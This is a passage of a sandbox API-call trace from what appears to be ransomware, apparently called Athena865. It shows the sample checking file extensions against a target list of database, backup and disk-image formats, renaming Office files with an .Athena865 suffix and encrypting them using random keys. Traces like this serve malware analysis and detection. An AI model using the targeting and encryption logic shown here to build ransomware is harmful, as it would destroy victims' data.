[0078.840] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0078.840] lstrlenW (lpString="pdb") returned 3 [0078.840] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0078.841] lstrlenW (lpString="pdm") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0078.841] lstrlenW (lpString="pnz") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0078.841] lstrlenW (lpString="qry") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0078.841] lstrlenW (lpString="qvd") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0078.841] lstrlenW (lpString="rbf") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0078.841] lstrlenW (lpString="rctd") returned 4 [0078.841] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0078.841] lstrlenW (lpString="rod") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0078.841] lstrlenW (lpString="rodx") returned 4 [0078.841] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0078.841] lstrlenW (lpString="rpd") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0078.841] lstrlenW (lpString="rsd") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0078.841] lstrlenW (lpString="sas7bdat") returned 8 [0078.841] lstrcmpiW (lpString1="000A.dll", lpString2="sas7bdat") returned -1 [0078.841] lstrlenW (lpString="sbf") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0078.841] lstrlenW (lpString="scx") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0078.841] lstrlenW (lpString="sdb") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0078.841] lstrlenW (lpString="sdc") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0078.841] lstrlenW (lpString="sdf") returned 3 [0078.841] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0078.842] lstrlenW (lpString="sis") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0078.842] lstrlenW (lpString="spq") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0078.842] lstrlenW (lpString="te") returned 2 [0078.842] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0078.842] lstrlenW (lpString="teacher") returned 7 [0078.842] lstrcmpiW (lpString1="00A.dll", lpString2="teacher") returned -1 [0078.842] lstrlenW (lpString="tmd") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0078.842] lstrlenW (lpString="tps") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0078.842] lstrlenW (lpString="trc") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0078.842] lstrlenW (lpString="trc") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0078.842] lstrlenW (lpString="trm") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0078.842] lstrlenW (lpString="udb") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0078.842] lstrlenW (lpString="udl") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0078.842] lstrlenW (lpString="usr") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0078.842] lstrlenW (lpString="v12") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0078.842] lstrlenW (lpString="vis") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0078.842] lstrlenW (lpString="vpd") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0078.842] lstrlenW (lpString="vvv") returned 3 [0078.842] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0078.843] lstrlenW (lpString="wdb") returned 3 [0078.843] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0078.843] lstrlenW (lpString="wmdb") returned 4 [0078.843] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0078.843] lstrlenW (lpString="wrk") returned 3 [0078.843] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0078.843] lstrlenW (lpString="xdb") returned 3 [0078.843] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0078.843] lstrlenW (lpString="xld") returned 3 [0078.843] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0078.843] lstrlenW (lpString="xmlff") returned 5 [0078.843] lstrcmpiW (lpString1="A.dll", lpString2="xmlff") returned -1 [0078.843] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000A.dll.Athena865") returned 70 [0078.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000A.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000a.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000A.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000a.dll.athena865"), dwFlags=0x1) returned 1 [0078.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000A.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000a.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0078.846] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6222768) returned 1 [0078.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0078.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0078.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0078.846] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0078.847] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0078.847] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0078.847] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ef6b0, lpName=0x0) returned 0x17c [0078.848] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x1ef6b0) returned 0x2d50000 [0078.932] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0079.083] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0079.101] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0079.102] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0079.102] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0079.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0079.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0079.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0079.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0079.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0079.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0079.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0079.102] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0079.122] CloseHandle (hObject=0x17c) returned 1 [0079.122] CloseHandle (hObject=0x154) returned 1 [0079.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0079.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0079.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0079.132] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1cc400, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4b90a40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3c1cc400, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x5697b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NL7MODELS000C.dll", cAlternateFileName="NL7MOD~2.DLL")) returned 1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2=".") returned 1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="..") returned 1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="windows") returned -1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="bootmgr") returned 1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="temp") returned -1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="pagefile.sys") returned -1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="boot") returned 1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="ids.txt") returned 1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="ntuser.dat") returned -1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="perflogs") returned -1 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2="MSBuild") returned 1 [0079.132] lstrlenW (lpString="NL7MODELS000C.dll") returned 17 [0079.132] lstrcpyW (in: lpString1=0x241e89e, lpString2="NL7MODELS000C.dll" | out: lpString1="NL7MODELS000C.dll") returned="NL7MODELS000C.dll" [0079.132] lstrlenW (lpString="NL7MODELS000C.dll") returned 17 [0079.132] lstrlenW (lpString="Athena865") returned 9 [0079.132] lstrcmpiW (lpString1="S000C.dll", lpString2="Athena865") returned 1 [0079.132] lstrlenW (lpString=".dll") returned 4 [0079.132] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2=".dll") returned 1 [0079.132] lstrlenW (lpString=".lnk") returned 4 [0079.133] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2=".lnk") returned 1 [0079.133] lstrlenW (lpString=".ini") returned 4 [0079.133] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2=".ini") returned 1 [0079.133] lstrlenW (lpString=".sys") returned 4 [0079.133] lstrcmpiW (lpString1="NL7MODELS000C.dll", lpString2=".sys") returned 1 [0079.133] lstrlenW (lpString="NL7MODELS000C.dll") returned 17 [0079.133] lstrlenW (lpString="bak") returned 3 [0079.133] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0079.133] lstrlenW (lpString="ba_") returned 3 [0079.133] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0079.133] lstrlenW (lpString="dbb") returned 3 [0079.133] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0079.133] lstrlenW (lpString="vmdk") returned 4 [0079.133] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0079.133] lstrlenW (lpString="rar") returned 3 [0079.133] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0079.133] lstrlenW (lpString="zip") returned 3 [0079.133] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0079.133] lstrlenW (lpString="tgz") returned 3 [0079.133] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0079.133] lstrlenW (lpString="vbox") returned 4 [0079.133] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0079.133] lstrlenW (lpString="vdi") returned 3 [0079.133] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0079.133] lstrlenW (lpString="vhd") returned 3 [0079.133] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0079.133] lstrlenW (lpString="vhdx") returned 4 [0079.133] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0079.133] lstrlenW (lpString="avhd") returned 4 [0079.133] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0079.133] lstrlenW (lpString="db") returned 2 [0079.133] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0079.133] lstrlenW (lpString="db2") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0079.134] lstrlenW (lpString="db3") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0079.134] lstrlenW (lpString="dbf") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0079.134] lstrlenW (lpString="mdf") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0079.134] lstrlenW (lpString="mdb") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0079.134] lstrlenW (lpString="sql") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0079.134] lstrlenW (lpString="sqlite") returned 6 [0079.134] lstrcmpiW (lpString1="0C.dll", lpString2="sqlite") returned -1 [0079.134] lstrlenW (lpString="sqlite3") returned 7 [0079.134] lstrcmpiW (lpString1="00C.dll", lpString2="sqlite3") returned -1 [0079.134] lstrlenW (lpString="sqlitedb") returned 8 [0079.134] lstrcmpiW (lpString1="000C.dll", lpString2="sqlitedb") returned -1 [0079.134] lstrlenW (lpString="xml") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0079.134] lstrlenW (lpString="$er") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0079.134] lstrlenW (lpString="4dd") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0079.134] lstrlenW (lpString="4dl") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0079.134] lstrlenW (lpString="^^^") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0079.134] lstrlenW (lpString="abs") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0079.134] lstrlenW (lpString="abx") returned 3 [0079.134] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0079.134] lstrlenW (lpString="accdb") returned 5 [0079.135] lstrcmpiW (lpString1="C.dll", lpString2="accdb") returned 1 [0079.135] lstrlenW (lpString="accdc") returned 5 [0079.135] lstrcmpiW (lpString1="C.dll", lpString2="accdc") returned 1 [0079.135] lstrlenW (lpString="accde") returned 5 [0079.135] lstrcmpiW (lpString1="C.dll", lpString2="accde") returned 1 [0079.135] lstrlenW (lpString="accdr") returned 5 [0079.135] lstrcmpiW (lpString1="C.dll", lpString2="accdr") returned 1 [0079.135] lstrlenW (lpString="accdt") returned 5 [0079.135] lstrcmpiW (lpString1="C.dll", lpString2="accdt") returned 1 [0079.135] lstrlenW (lpString="accdw") returned 5 [0079.135] lstrcmpiW (lpString1="C.dll", lpString2="accdw") returned 1 [0079.135] lstrlenW (lpString="accft") returned 5 [0079.135] lstrcmpiW (lpString1="C.dll", lpString2="accft") returned 1 [0079.135] lstrlenW (lpString="adb") returned 3 [0079.135] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0079.135] lstrlenW (lpString="adb") returned 3 [0079.135] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0079.135] lstrlenW (lpString="ade") returned 3 [0079.135] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0079.135] lstrlenW (lpString="adf") returned 3 [0079.135] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0079.135] lstrlenW (lpString="adn") returned 3 [0079.135] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0079.135] lstrlenW (lpString="adp") returned 3 [0079.135] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0079.135] lstrlenW (lpString="alf") returned 3 [0079.135] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0079.135] lstrlenW (lpString="ask") returned 3 [0079.135] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0079.135] lstrlenW (lpString="btr") returned 3 [0079.135] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0079.135] lstrlenW (lpString="cat") returned 3 [0079.135] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0079.135] lstrlenW (lpString="cdb") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0079.136] lstrlenW (lpString="ckp") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0079.136] lstrlenW (lpString="cma") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0079.136] lstrlenW (lpString="cpd") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0079.136] lstrlenW (lpString="dacpac") returned 6 [0079.136] lstrcmpiW (lpString1="0C.dll", lpString2="dacpac") returned -1 [0079.136] lstrlenW (lpString="dad") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0079.136] lstrlenW (lpString="dadiagrams") returned 10 [0079.136] lstrcmpiW (lpString1="LS000C.dll", lpString2="dadiagrams") returned 1 [0079.136] lstrlenW (lpString="daschema") returned 8 [0079.136] lstrcmpiW (lpString1="000C.dll", lpString2="daschema") returned -1 [0079.136] lstrlenW (lpString="db-journal") returned 10 [0079.136] lstrcmpiW (lpString1="LS000C.dll", lpString2="db-journal") returned 1 [0079.136] lstrlenW (lpString="db-shm") returned 6 [0079.136] lstrcmpiW (lpString1="0C.dll", lpString2="db-shm") returned -1 [0079.136] lstrlenW (lpString="db-wal") returned 6 [0079.136] lstrcmpiW (lpString1="0C.dll", lpString2="db-wal") returned -1 [0079.136] lstrlenW (lpString="dbc") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0079.136] lstrlenW (lpString="dbs") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0079.136] lstrlenW (lpString="dbt") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0079.136] lstrlenW (lpString="dbv") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0079.136] lstrlenW (lpString="dbx") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0079.136] lstrlenW (lpString="dcb") returned 3 [0079.136] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0079.137] lstrlenW (lpString="dct") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0079.137] lstrlenW (lpString="dcx") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0079.137] lstrlenW (lpString="ddl") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0079.137] lstrlenW (lpString="dlis") returned 4 [0079.137] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0079.137] lstrlenW (lpString="dp1") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0079.137] lstrlenW (lpString="dqy") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0079.137] lstrlenW (lpString="dsk") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0079.137] lstrlenW (lpString="dsn") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0079.137] lstrlenW (lpString="dtsx") returned 4 [0079.137] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0079.137] lstrlenW (lpString="dxl") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0079.137] lstrlenW (lpString="eco") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0079.137] lstrlenW (lpString="ecx") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0079.137] lstrlenW (lpString="edb") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0079.137] lstrlenW (lpString="epim") returned 4 [0079.137] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0079.137] lstrlenW (lpString="fcd") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0079.137] lstrlenW (lpString="fdb") returned 3 [0079.137] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0079.137] lstrlenW (lpString="fic") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0079.138] lstrlenW (lpString="flexolibrary") returned 12 [0079.138] lstrcmpiW (lpString1="DELS000C.dll", lpString2="flexolibrary") returned -1 [0079.138] lstrlenW (lpString="fm5") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0079.138] lstrlenW (lpString="fmp") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0079.138] lstrlenW (lpString="fmp12") returned 5 [0079.138] lstrcmpiW (lpString1="C.dll", lpString2="fmp12") returned -1 [0079.138] lstrlenW (lpString="fmpsl") returned 5 [0079.138] lstrcmpiW (lpString1="C.dll", lpString2="fmpsl") returned -1 [0079.138] lstrlenW (lpString="fol") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0079.138] lstrlenW (lpString="fp3") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0079.138] lstrlenW (lpString="fp4") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0079.138] lstrlenW (lpString="fp5") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0079.138] lstrlenW (lpString="fp7") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0079.138] lstrlenW (lpString="fpt") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0079.138] lstrlenW (lpString="frm") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0079.138] lstrlenW (lpString="gdb") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0079.138] lstrlenW (lpString="gdb") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0079.138] lstrlenW (lpString="grdb") returned 4 [0079.138] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0079.138] lstrlenW (lpString="gwi") returned 3 [0079.138] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0079.139] lstrlenW (lpString="hdb") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0079.139] lstrlenW (lpString="his") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0079.139] lstrlenW (lpString="ib") returned 2 [0079.139] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0079.139] lstrlenW (lpString="idb") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0079.139] lstrlenW (lpString="ihx") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0079.139] lstrlenW (lpString="itdb") returned 4 [0079.139] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0079.139] lstrlenW (lpString="itw") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0079.139] lstrlenW (lpString="jet") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0079.139] lstrlenW (lpString="jtx") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0079.139] lstrlenW (lpString="kdb") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0079.139] lstrlenW (lpString="kexi") returned 4 [0079.139] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0079.139] lstrlenW (lpString="kexic") returned 5 [0079.139] lstrcmpiW (lpString1="C.dll", lpString2="kexic") returned -1 [0079.139] lstrlenW (lpString="kexis") returned 5 [0079.139] lstrcmpiW (lpString1="C.dll", lpString2="kexis") returned -1 [0079.139] lstrlenW (lpString="lgc") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0079.139] lstrlenW (lpString="lwx") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0079.139] lstrlenW (lpString="maf") returned 3 [0079.139] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0079.140] lstrlenW (lpString="maq") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0079.140] lstrlenW (lpString="mar") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0079.140] lstrlenW (lpString="marshal") returned 7 [0079.140] lstrcmpiW (lpString1="00C.dll", lpString2="marshal") returned -1 [0079.140] lstrlenW (lpString="mas") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0079.140] lstrlenW (lpString="mav") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0079.140] lstrlenW (lpString="maw") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0079.140] lstrlenW (lpString="mdbhtml") returned 7 [0079.140] lstrcmpiW (lpString1="00C.dll", lpString2="mdbhtml") returned -1 [0079.140] lstrlenW (lpString="mdn") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0079.140] lstrlenW (lpString="mdt") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0079.140] lstrlenW (lpString="mfd") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0079.140] lstrlenW (lpString="mpd") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0079.140] lstrlenW (lpString="mrg") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0079.140] lstrlenW (lpString="mud") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0079.140] lstrlenW (lpString="mwb") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0079.140] lstrlenW (lpString="myd") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0079.140] lstrlenW (lpString="ndf") returned 3 [0079.140] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0079.140] lstrlenW (lpString="nnt") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0079.141] lstrlenW (lpString="nrmlib") returned 6 [0079.141] lstrcmpiW (lpString1="0C.dll", lpString2="nrmlib") returned -1 [0079.141] lstrlenW (lpString="ns2") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0079.141] lstrlenW (lpString="ns3") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0079.141] lstrlenW (lpString="ns4") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0079.141] lstrlenW (lpString="nsf") returned 3 [0079.141] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0079.141] lstrlenW (lpString="nv") returned 2 [0079.141] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0079.141] lstrlenW (lpString="nv2") returned 3 [0079.141] lstrcmpiW 